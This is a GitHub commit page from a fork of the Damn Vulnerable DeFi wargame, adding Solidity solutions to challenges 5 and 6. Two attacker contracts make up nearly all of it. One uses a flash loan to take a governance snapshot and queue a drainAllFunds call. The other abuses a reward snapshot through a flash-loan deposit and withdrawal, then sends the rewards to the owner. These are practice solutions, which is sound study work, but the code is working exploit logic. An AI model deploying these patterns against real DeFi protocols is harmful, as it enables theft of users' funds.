forked from theredguild/damn-vulnerable-defi
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat: theredguild#5 & theredguild#6 solved
- Loading branch information
Showing
4 changed files
with
145 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
import "@openzeppelin/contracts/utils/Address.sol"; | ||
import "@openzeppelin/contracts/interfaces/IERC20.sol"; | ||
|
||
interface IFlashLoanReceiver { | ||
function receiveTokens(address,uint256) external; | ||
} | ||
|
||
interface ISelfiePool { | ||
function flashLoan(uint256) external; | ||
function drainAllFunds(address receiver) external; | ||
} | ||
|
||
interface IDVTsnapshot { | ||
function snapshot() external returns (uint256); | ||
function transfer(address recipient, uint256 amount) external returns (bool); | ||
} | ||
|
||
interface IGovernance { | ||
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256); | ||
} | ||
|
||
contract SelfieAttacker is IFlashLoanReceiver { | ||
using Address for address payable; | ||
|
||
ISelfiePool private immutable pool; | ||
IGovernance private immutable govern; | ||
address private immutable owner; | ||
|
||
constructor(address _pool, address _govern ) payable { | ||
pool = ISelfiePool(_pool); | ||
govern = IGovernance(_govern); | ||
owner = msg.sender; | ||
} | ||
|
||
function attack(uint256 _amount) external { | ||
require(msg.sender == owner, "only owner"); | ||
|
||
pool.flashLoan(_amount); | ||
// queue action after snapshot | ||
bytes memory actionData = abi.encodeWithSelector(pool.drainAllFunds.selector,[owner]); | ||
govern.queueAction(address(pool), actionData, 0); | ||
} | ||
|
||
|
||
function receiveTokens(address token, uint256 amount) override external { | ||
require(msg.sender == address(pool), "only pool"); | ||
|
||
IDVTsnapshot dvtss = IDVTsnapshot(token); | ||
// snapshot after borrow from pool | ||
dvtss.snapshot(); | ||
// pay back token | ||
bool bRes = dvtss.transfer(msg.sender, amount); | ||
require(bRes, "pay back token failed"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
import "@openzeppelin/contracts/interfaces/IERC20.sol"; | ||
|
||
interface IFlashLoanReceiver { | ||
function receiveFlashLoan(uint256) external; | ||
} | ||
|
||
interface IFlashLoanPool { | ||
function flashLoan(uint256) external; | ||
function liquidityToken() external view returns(address); | ||
} | ||
|
||
interface IRewarderPool { | ||
function deposit(uint256) external; | ||
function withdraw(uint256) external; | ||
function rewardToken() external view returns(address); | ||
} | ||
|
||
contract TheRewarderAttacker is IFlashLoanReceiver { | ||
IFlashLoanPool private immutable flashLoanPool; | ||
IRewarderPool private immutable theRewarderPool; | ||
address private immutable owner; | ||
constructor(address _flPool, address _rewarderPool ) payable { | ||
flashLoanPool = IFlashLoanPool(_flPool); | ||
theRewarderPool = IRewarderPool(_rewarderPool); | ||
owner = msg.sender; | ||
} | ||
|
||
function attack(uint256 _amount) external { | ||
require(msg.sender == owner, "only owner"); | ||
|
||
flashLoanPool.flashLoan(_amount); | ||
|
||
// send reward token to owner | ||
IERC20 rewardToken = IERC20(theRewarderPool.rewardToken()); | ||
uint256 thisBalance = rewardToken.balanceOf(address(this)); | ||
bool bRes = rewardToken.transfer(owner, thisBalance); | ||
require(bRes, "reward token transfer failed"); | ||
} | ||
|
||
|
||
function receiveFlashLoan(uint256 amount) override external { | ||
require(msg.sender == address(flashLoanPool), "only pool"); | ||
|
||
IERC20 dvt = IERC20(flashLoanPool.liquidityToken()); | ||
bool bRes = dvt.approve(address(theRewarderPool), amount); | ||
require(bRes, "approve rewarderPool failed"); | ||
|
||
// deposit and withdraw will leave balance on snapshot | ||
theRewarderPool.deposit(amount); | ||
theRewarderPool.withdraw(amount); | ||
|
||
// pay back dvt | ||
bRes = dvt.transfer(address(flashLoanPool), amount); | ||
require(bRes, "pay back dvt failed"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters